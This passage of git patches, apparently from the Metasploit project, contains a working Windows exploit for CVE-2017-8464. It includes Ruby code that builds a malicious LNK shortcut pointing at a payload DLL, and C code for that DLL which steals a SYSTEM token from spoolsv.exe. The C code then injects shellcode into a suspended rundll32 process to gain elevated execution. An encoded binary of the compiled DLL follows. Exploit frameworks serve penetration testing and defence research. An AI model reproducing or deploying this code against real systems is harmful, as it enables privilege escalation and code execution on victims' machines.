+    datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll")
+
+    path = datastore['PATH'] || session.fs.file.expand_path("%TEMP%")
+    path.chomp!("\\")
+
+    dll = generate_payload_dll
+    dll_name = datastore['DLLNAME'] || "#{rand_text_alpha(16)}.dll"
+    dll_path = write_file("#{path}\\#{dll_name}", dll)
+
+    lnk = generate_link("#{path}\\#{dll_name}")
+    lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
+    lnk_path = write_file("#{path}\\#{lnk_filename}", lnk)
+  end
+
+  def generate_link(path)
+    vprint_status("Generating LNK file to load: #{path}")
+    path << "\x00"
+    display_name = datastore['LNK_DISPLAY_NAME'].dup << "\x00" # LNK Display Name
+    comment = datastore['LNK_COMMENT'].dup << "\x00"
+
+    # Control Panel Applet ItemID with our DLL
+    cpl_applet = [
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00,
+      0x00, 0x00
+    ].pack('C*')
+    cpl_applet << [path.length].pack('v')
+    cpl_applet << [display_name.length].pack('v')
+    cpl_applet << path.unpack('C*').pack('v*')
+    cpl_applet << display_name.unpack('C*').pack('v*')
+    cpl_applet << comment.unpack('C*').pack('v*')
+
+    # LinkHeader
+    ret = [
+      0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C
+      0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046
+      0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode)
+      0x00, 0x00, 0x00, 0x00, # FileAttributes
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime
+      0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime
+      0x00, 0x00, 0x00, 0x00, # FileSize
+      0x00, 0x00, 0x00, 0x00, # IconIndex
+      0x00, 0x00, 0x00, 0x00, # ShowCommand
+      0x00, 0x00, # HotKey
+      0x00, 0x00, # Reserved1
+      0x00, 0x00, 0x00, 0x00, # Reserved2
+      0x00, 0x00, 0x00, 0x00  # Reserved3
+    ].pack('C*')
+
+    # IDList
+    idlist_data = ''
+    # ItemID = ItemIDSize (2 bytes) + Data (variable)
+    idlist_data << [0x12 + 2].pack('v')
+    idlist_data << [
+      # All Control Panel Items
+      0x1f, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30,
+      0x30, 0x9d
+    ].pack('C*')
+    # ItemID = ItemIDSize (2 bytes) + Data (variable)
+    idlist_data << [cpl_applet.length + 2].pack('v')
+    idlist_data << cpl_applet
+    idlist_data << [0x00].pack('v') # TerminalID
+
+    # LinkTargetIDList
+    ret << [idlist_data.length].pack('v') # IDListSize
+    ret << idlist_data
+
+    # ExtraData
+    # SpecialFolderDataBlock
+    ret << [
+      0x10, 0x00, 0x00, 0x00, # BlockSize
+      0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005
+      0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel)
+      0x14, 0x00, 0x00, 0x00  # Offset in LinkTargetIDList
+    ].pack('C*')
+    # TerminalBlock
+    ret << [0x00, 0x00, 0x00, 0x00].pack('V')
+    ret
+  end
+end

From d0ebfa195082e712049bd9fc018a17940b847630 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Tue, 3 Oct 2017 13:43:49 -0400
Subject: [PATCH 015/254] Change the template technicque to work as an LPE

---
 data/exploits/cve-2017-8464/src/build.sh      |   2 +
 data/exploits/cve-2017-8464/src/template.c    | 251 ++++++++++++++----
 data/exploits/cve-2017-8464/src/template.h    |   8 +
 .../cve-2017-8464/template_x64_windows.dll    | Bin 19456 -> 21504 bytes
 .../cve-2017-8464/template_x86_windows.dll    | Bin 14848 -> 17408 bytes
 .../windows/local/cve_2017_8464_lnk_lpe.rb    |  14 +-
 6 files changed, 222 insertions(+), 53 deletions(-)
 mode change 100755 => 100644 data/exploits/cve-2017-8464/template_x64_windows.dll
 mode change 100755 => 100644 data/exploits/cve-2017-8464/template_x86_windows.dll

diff --git a/data/exploits/cve-2017-8464/src/build.sh b/data/exploits/cve-2017-8464/src/build.sh
index 878e3e3fa8..202daa5413 100755
--- a/data/exploits/cve-2017-8464/src/build.sh
+++ b/data/exploits/cve-2017-8464/src/build.sh
@@ -8,8 +8,10 @@ ${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
 ${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
 ${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
 rm -f temp.dll *.o
+chmod -x ../template_x64_windows.dll
 
 ${CCx86}-gcc -c -Os template.c -Wall -shared
 ${CCx86}-dllwrap --def template.def *.o -o temp.dll
 ${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
 rm -f temp.dll *.o
+chmod -x ../template_x86_windows.dll
diff --git a/data/exploits/cve-2017-8464/src/template.c b/data/exploits/cve-2017-8464/src/template.c
index 01553dc914..af8924e605 100644
--- a/data/exploits/cve-2017-8464/src/template.c
+++ b/data/exploits/cve-2017-8464/src/template.c
@@ -1,25 +1,17 @@
-// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll
-// - removed ExitThread(0) to prevent an Explorer crash
-// - added Mutex to prevent invoking payload multiple times (at least try)
 #include <windows.h>
+#include <sddl.h>
+#include <tchar.h>
+#include <tlhelp32.h>
+#include <userenv.h>
+
 #include "template.h"
 
-void inline_bzero(void *p, size_t l)
-{
-	BYTE *q = (BYTE *)p;
-	size_t x = 0;
-	for (x = 0; x < l; x++)
-		*(q++) = 0x00;
-}
+void ExecutePayload(HANDLE hDll);
 
-void ExecutePayload(void);
-
-BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
-{
-	switch (dwReason)
-	{
+BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
+	switch (dwReason) {
 	case DLL_PROCESS_ATTACH:
-		ExecutePayload();
+		ExecutePayload(hDll);
 		break;
 
 		case DLL_PROCESS_DETACH:
@@ -31,65 +23,232 @@ BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
 		case DLL_THREAD_DETACH:
 		break;
 	}
-
 	return TRUE;
 }
 
-void ExecutePayload(void)
-{
+BOOL StringEndsWithStringA(LPCSTR szStr, LPCSTR szSuffix, BOOL bCaseSensitive) {
+	int result;
+
+	if (strlen(szStr) < strlen(szSuffix)) {
+		return FALSE;
+	}
+	if (bCaseSensitive) {
+		result = strcmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
+	}
+	else {
+		result = _stricmp((szStr + strlen(szStr) - strlen(szSuffix)), szSuffix);
+	}
+	return result == 0;
+}
+
+BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
+	HANDLE hToken;
+	DWORD dwLength = 0;
+	TOKEN_USER *tuUser = NULL;
+	SIZE_T szSid = 0;
+
+	*pSid = NULL;
+	do {
+		if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
+			return FALSE;
+		}
+
+		GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
+		tuUser = (TOKEN_USER *)malloc(dwLength);
+		if (tuUser == NULL) {
+			break;
+		}
+
+		if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
+			break;
+		}
+
+		szSid = GetLengthSid(tuUser->User.Sid);
+		*pSid = LocalAlloc(LPTR, szSid);
+		if (*pSid == NULL) {
+			break;
+		}
+
+		if (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid)) {
+			LocalFree(*pSid);
+			*pSid = NULL;
+		}
+	} while (FALSE);
+
+	if (tuUser != NULL) {
+		free(tuUser);
+	}
+	if (hToken) {
+		CloseHandle(hToken);
+	}
+
+	if (*pSid != NULL) {
+		return TRUE;
+	}
+	return FALSE;
+}
+
+BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {
+	PSID pTestSid = NULL;
+	PSID pTargetSid = NULL;
+
+	if (!ConvertStringSidToSid(sStringSid, &pTargetSid)) {
+		return FALSE;
+	}
+
+	if (!GetProcessSid(hProc, &pTestSid)) {
+		LocalFree(pTargetSid);
+		return FALSE;
+	}
+
+	*pbResult = EqualSid(pTestSid, pTargetSid);
+	LocalFree(pTargetSid);
+	LocalFree(pTestSid);
+	return TRUE;
+}
+
+DWORD FindProcessId(LPCTSTR szProcessName) {
+	HANDLE hProcessSnap;
+	PROCESSENTRY32 pe32;
+	DWORD result = 0;
+
+	hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+	if (hProcessSnap == INVALID_HANDLE_VALUE) {
+		return 0;
+	}
+
+	pe32.dwSize = sizeof(PROCESSENTRY32);
+	if (!Process32First(hProcessSnap, &pe32)) {
+		CloseHandle(hProcessSnap);
+		return 0;
+	}
+
+	do {
+		if (!strcmp(szProcessName, pe32.szExeFile)) {
+			result = pe32.th32ProcessID;
+			break;
+		}
+	} while (Process32Next(hProcessSnap, &pe32));
+	CloseHandle(hProcessSnap);
+	return result;
+}
+
+HANDLE GetPayloadToken(void) {
+	HANDLE hTokenHandle = NULL;
+	HANDLE hProcessHandle = NULL;
+	BOOL bIsSystem = FALSE;
+	DWORD dwPid = 0;
+	CHAR Path[MAX_PATH + 1];
+
+	ZeroMemory(Path, sizeof(Path));
+	GetModuleFileNameA(NULL, Path, MAX_PATH);
+	if (!StringEndsWithStringA(Path, "\\SearchProtocolHost.exe", TRUE)) {
+		return NULL;
+	}
+	/* loaded into the context of SearchProtocolHost.exe */
+
+	if (IsProcessRunningAsSystem(GetCurrentProcess(), &bIsSystem) && (!bIsSystem)) {
+		return NULL;
+	}
+	/* and running as NT_AUTHORITY SYSTEM */
+
+	dwPid = FindProcessId("spoolsv.exe");
+	if (!dwPid) {
+		return NULL;
+	}
+
+	hProcessHandle = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPid);
+	if (!hProcessHandle) {
+		return NULL;
+	}
+
+	bIsSystem = FALSE;
+	if (IsProcessRunningAsSystem(hProcessHandle, &bIsSystem) && (!bIsSystem)) {
+		return NULL;
+	}
+	/* spoolsv.exe is also running as NT_AUTHORITY SYSTEM */
+
+	OpenProcessToken(hProcessHandle, TOKEN_DUPLICATE | TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY, &hTokenHandle);
+	CloseHandle(hProcessHandle);
+	return hTokenHandle;
+}
+
+DWORD WINAPI MonitorPayloadProcess(PEXPLOIT_DATA pExploitData) {
+	/* wait for the process to exit or 10 seconds before cleaning up */
+	WaitForSingleObject(pExploitData->hProcess, 10000);
+	CloseHandle(pExploitData->hProcess);
+	CloseHandle(pExploitData->hMutex);
+
+	/* this does not return */
+	FreeLibraryAndExitThread(pExploitData->hModule, 0);
+	return 0;
+}
+
+void ExecutePayload(HANDLE hDll) {
 	PROCESS_INFORMATION pi;
 	STARTUPINFO si;
 	CONTEXT ctx;
 	LPVOID ep;
-	HANDLE hMutex;
 	SECURITY_ATTRIBUTES MutexAttributes;
+	SIZE_T dwBytesWritten = 0;
+	PEXPLOIT_DATA pExploitData = NULL;
+	HANDLE hToken;
 
-	inline_bzero(&MutexAttributes, sizeof(MutexAttributes));
+	pExploitData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(EXPLOIT_DATA));
+	if (!pExploitData) {
+		return;
+	}
+
+	/* keep a reference to the module for synchronization purposes */
+	GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, hDll, (HINSTANCE *)&(pExploitData->hModule));
+
+	ZeroMemory(&MutexAttributes, sizeof(MutexAttributes));
 	MutexAttributes.nLength = sizeof(MutexAttributes);
 	MutexAttributes.bInheritHandle = TRUE; // inherit the handle
-	hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex");
-	if(hMutex == NULL)
-	{
+	pExploitData->hMutex = CreateMutex(&MutexAttributes, TRUE, "MUTEX!!!");
+	if (!pExploitData->hMutex) {
 		return;
 	}
 
-	if(GetLastError() == ERROR_ALREADY_EXISTS)
-	{
-		CloseHandle(hMutex);
+	if (GetLastError() == ERROR_ALREADY_EXISTS) {
+		CloseHandle(pExploitData->hMutex);
 		return;
 	}
 
-	if(GetLastError() == ERROR_ACCESS_DENIED)
-	{
-		CloseHandle(hMutex);
+	if (GetLastError() == ERROR_ACCESS_DENIED) {
+		CloseHandle(pExploitData->hMutex);
 		return;
 	}
 
-	// Start up the payload in a new process
-	inline_bzero(&si, sizeof(si));
+	hToken = GetPayloadToken();
+
+	ZeroMemory(&si, sizeof(si));
 	si.cb = sizeof(si);
 
-	// Create a suspended process, write shellcode into stack, resume it
-	if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
-		ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
+	/* start up the payload in a new process */
+	if (CreateProcessAsUser(hToken, NULL, "rundll32.exe", NULL, NULL, FALSE, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
+		ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
 		GetThreadContext(pi.hThread, &ctx);
-
 		ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
-		WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
+		WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, &dwBytesWritten);
+		if (dwBytesWritten == SCSIZE) {
 
 #ifdef _WIN64
-		ctx.Rip = (DWORD64)ep;
+			ctx.Rip = (DWORD64)ep;
 #else
-		ctx.Eip = (DWORD)ep;
+			ctx.Eip = (DWORD)ep;
 #endif
 
-		SetThreadContext(pi.hThread, &ctx);
-		ResumeThread(pi.hThread);
+			SetThreadContext(pi.hThread, &ctx);
+			ResumeThread(pi.hThread);
 
-		CloseHandle(pi.hThread);
-		CloseHandle(pi.hProcess);
+			CloseHandle(pi.hThread);
+			pExploitData->hProcess = pi.hProcess;
+		}
 	}
 
-	CloseHandle(hMutex);
+	if (hToken) {
+		CloseHandle(hToken);
+	}
+	CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MonitorPayloadProcess, pExploitData, 0, NULL);
 }
-
diff --git a/data/exploits/cve-2017-8464/src/template.h b/data/exploits/cve-2017-8464/src/template.h
index 7a674c3006..7181e46cba 100644
--- a/data/exploits/cve-2017-8464/src/template.h
+++ b/data/exploits/cve-2017-8464/src/template.h
@@ -1,3 +1,11 @@
 #define SCSIZE 2048
 unsigned char code[SCSIZE] = "PAYLOAD:";
 
+typedef struct {
+	HANDLE hModule;
+	HANDLE hMutex;
+	HANDLE hProcess;
+} EXPLOIT_DATA, *PEXPLOIT_DATA;
+
+#define SIDSTR_SYSTEM _T("s-1-5-18")
+#define IsProcessRunningAsSystem(hProc, bResult) IsProcessRunningAsSidString(hProc, SIDSTR_SYSTEM, bResult)
diff --git a/data/exploits/cve-2017-8464/template_x64_windows.dll b/data/exploits/cve-2017-8464/template_x64_windows.dll
old mode 100755
new mode 100644
index 40958f8986cbabb90b1e2174d1dcaa6eaa1fa83c..eda57c8d927d138f1786132d7d1324c704bb70c8
GIT binary patch
literal 21504
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
